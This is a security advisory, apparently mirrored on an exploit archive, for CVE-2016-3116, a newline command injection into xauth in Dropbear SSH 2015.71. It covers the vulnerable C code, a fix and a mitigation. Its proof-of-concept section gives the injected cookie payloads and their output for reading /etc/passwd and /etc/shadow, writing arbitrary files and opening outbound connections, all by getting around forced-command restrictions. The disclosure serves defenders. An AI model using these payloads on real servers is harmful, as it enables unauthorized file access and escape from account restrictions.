Skip to content
cyberexploits
remotelinuxtext

DropBearSSHD 2015.71 - Command Injection

DropBearSSHD 2015.71 - Command Injection

Publié le 2016-03-03

Code source

Épinglé au commit 7eac4c3a2ce5
textplatforms/linux/remote/40119.md7eac4c3a
raw
VuNote

============



	Author:		<github.com/tintinweb>

	Ref:		https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116

	Version: 	0.2

	Date: 		Mar 3rd, 2016

	

	Tag:		dropbearsshd xauth command injection may lead to forced-command bypass



Overview

--------



	Name:			dropbear

	Vendor:			Matt Johnston

	References:		* https://matt.ucc.asn.au/dropbear/dropbear.html [1]

	

	Version:		2015.71

	Latest Version:	2015.71

	Other Versions:	<= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years)

	Platform(s):	linux

	Technology:		c



	Vuln Classes:	CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')

	Origin:			remote

	Min. Privs.:	post auth



	CVE:			CVE-2016-3116







Description

---------



quote website [1]



>Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers.



Summary 

-------



An authenticated user may inject arbitrary xauth commands by sending an

x11 channel request that includes a newline character in the x11 cookie. 

The newline acts as a command separator to the xauth binary. This attack requires 

the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.



By injecting xauth commands one gains limited* read/write arbitrary files, 

information leakage or xauth-connect capabilities. These capabilities can be

leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass 

account restriction. This is generally not expected.



The injected xauth commands are performed with the effective permissions of the 

logged in user as the sshd already dropped its privileges. 



Quick-Info:



* requires: X11Forwarding yes

* does *NOT* bypass /bin/false due to special treatment (like nologin)

* bypasses forced-commands (allows arbitr. read/write)



Capabilities (xauth):



* Xauth

	* write file: limited chars, xauthdb format

	* read file: limit lines cut at first \s

	* infoleak: environment

	* connect to other devices (may allow port probing)





see attached PoC





Details

-------



// see annotated code below



	* x11req (svr-x11fwd.c:46)

      

    * execchild (svr-chansession.c:893)

     *- x11setauth (svr-x11fwd.c:129)



Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request

parameters `x11authprot` and `x11authcookie` from the client ssh packet where

`x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)

and `x11authcookie` contains the actual x11 auth cookie. This information is stored

in a session specific datastore. When calling `execute` on that session, dropbear will

call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding

by executing `xauth` with the effective permissions of the user and pass commands via `stdin`.

Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains

user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a

command-separator to the `xauth` binary, this allows a client to inject arbitrary

`xauth` commands.



This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth

command injection:



	SYNOPSIS

       	xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]



		add displayname protocolname hexkey

		generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]

		[n]extract filename displayname...

		[n]list [displayname...]

		[n]merge [filename...]

		remove displayname...

		source filename

		info  

		exit

		quit

		version

		help

		?

		

Interesting commands are:

	

	info	 - leaks environment information / path

			~# xauth info

			xauth:  file /root/.Xauthority does not exist

			Authority file:       /root/.Xauthority

			File new:             yes

			File locked:          no

			Number of entries:    0

			Changes honored:      yes

			Changes made:         no

			Current input:        (argv):1

	

	source	 - arbitrary file read (cut on first `\s`)

			# xauth source /etc/shadow

			xauth:  file /root/.Xauthority does not exist

			xauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"

						

	extract  - arbitrary file write 

			 * limited characters

	         * in xauth.db format

	         * since it is not compressed it can be combined with `xauth add` to 

	           first store data in the database and then export it to an arbitrary

	           location e.g. to plant a shell or do other things.

	

	generate - connect to <ip>:<port> (port probing, connect back and pot. exploit

			   vulnerabilities in X.org

	

	

Source

------



Inline annotations are prefixed with `//#!`



* handle x11 request, stores cookie in `chansess`

	```c

	/* called as a request for a session channel, sets up listening X11 */

	/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */

	int x11req(struct ChanSess * chansess) {

	

		int fd;

	

		/* we already have an x11 connection */

		if (chansess->x11listener != NULL) {

			return DROPBEAR_FAILURE;

		}

	

		chansess->x11singleconn = buf_getbyte(ses.payload);

		chansess->x11authprot = buf_getstring(ses.payload, NULL);			//#! store user tainted data

		chansess->x11authcookie = buf_getstring(ses.payload, NULL);			//#! store user tainted data

		chansess->x11screennum = buf_getint(ses.payload);

	```

	

* set auth cookie/authprot



	```c

	/* This is called after switching to the user, and sets up the xauth

	 * and environment variables.  */

	void x11setauth(struct ChanSess *chansess) {

	

		char display[20]; /* space for "localhost:12345.123" */

		FILE * authprog = NULL;

		int val;

	

		if (chansess->x11listener == NULL) {

			return;

		}

	

		...

	

		/* popen is a nice function - code is strongly based on OpenSSH's */

		authprog = popen(XAUTH_COMMAND, "w");										//#!  run xauth binary

		if (authprog) {

			fprintf(authprog, "add %s %s %s\n",

					display, chansess->x11authprot, chansess->x11authcookie);		//#!  \n injection in cookie, authprot

			pclose(authprog);

		} else {

			fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND);

		}

	}

	```



Proof of Concept

----------------



Prerequisites: 



* install python 2.7.x

* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x

* run `poc.py`



Note: see cve-2016-3115 [3] for `poc.py`



	 Usage: <host> <port> <username> <password or path_to_privkey>

	        

	        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key

	        



poc:



1. configure one user (user1) for `force-commands`:

	```c 

	#PUBKEY line - force commands: only allow "whoami"

	#cat /home/user1/.ssh/authorized_keys

	command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box



	#cat /etc/passwd

	user1:x:1001:1001:,,,:/home/user1:/bin/bash

	```

	    

2. run dropbearsshd (x11fwd is on by default)



	```c

	#> ~/dropbear-2015.71/dropbear -R -F -E -p 2222

	[22861] Not backgrounding

	[22862] Child connection from 192.168.139.1:49597

	[22862] Forced command 'whoami'

	[22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597

	```	



3. `forced-commands` - connect with user1 and display env information



	```c

	#> python <host> 2222 user1 .demoprivkey

	

	INFO:__main__:add this line to your authorized_keys file: 

	#PUBKEY line - force commands: only allow "whoami"

	#cat /home/user/.ssh/authorized_keys

	command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box

	

	INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222

	INFO:__main__:connected!

	INFO:__main__:

	Available commands:

	    .info

	    .readfile <path>

	    .writefile <path> <data>

	    .exit .quit

	    <any xauth command or type help>

	

	#> .info

	DEBUG:__main__:auth_cookie: '\ninfo'

	DEBUG:__main__:dummy exec returned: None

	INFO:__main__:Authority file:       /home/user1/.Xauthority

	File new:             no

	File locked:          no

	Number of entries:    2

	Changes honored:      yes

	Changes made:         no

	Current input:        (stdin):2

	user1

	/usr/bin/xauth: (stdin):1:  bad "add" command line

	

	...

	```

	

4. `forced-commands` - read `/etc/passwd`



	```c

	...

	#> .readfile /etc/passwd

	DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'

	DEBUG:__main__:dummy exec returned: None

	INFO:__main__:root:x:0:0:root:/root:/bin/bash

	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

	bin:x:2:2:bin:/bin:/usr/sbin/nologin

	sys:x:3:3:sys:/dev:/usr/sbin/nologin

	sync:x:4:65534:sync:/bin:/bin/sync

	...

	```

		

5. `forced-commands` - write `/tmp/testfile`



	```c

	#> .writefile /tmp/testfile1 `thisisatestfile`

	DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'

	DEBUG:__main__:dummy exec returned: None

	DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'

	DEBUG:__main__:dummy exec returned: None

	DEBUG:__main__:user1

	/usr/bin/xauth: (stdin):1:  bad "add" command line

	

	#> INFO:__main__:/tmp/testfile1

	

	#> ls -lsat /tmp/testfile1

	4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1

	

	#> cat /tmp/testfile1

	ú65500hiú65500`thisisatestfile`ªr

	```

	

6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100



	```c

	#> generate 8.8.8.8:100

	DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100'

	DEBUG:__main__:dummy exec returned: None

	INFO:__main__:user1

	/usr/bin/xauth: (stdin):1:  bad "add" command line

	/usr/bin/xauth: (stdin):2:  unable to open display "8.8.8.8:100".

	

	#> tcpdump 

	IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0

	```	



Fix

---



* Sanitize user-tainted input `chansess->x11authcookie`





Mitigation / Workaround

------------------------



* disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD`



Notes

-----



Thanks to the OpenSSH team for coordinating the fix!



Vendor response see: changelog [4]





References

----------



	[1] https://matt.ucc.asn.au/dropbear/dropbear.html

	[2] http://linux.die.net/man/1/xauth

	[3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/

	[4] https://matt.ucc.asn.au/dropbear/CHANGES

	

Contact

-------



	https://github.com/tintinweb
Voir sur GitHub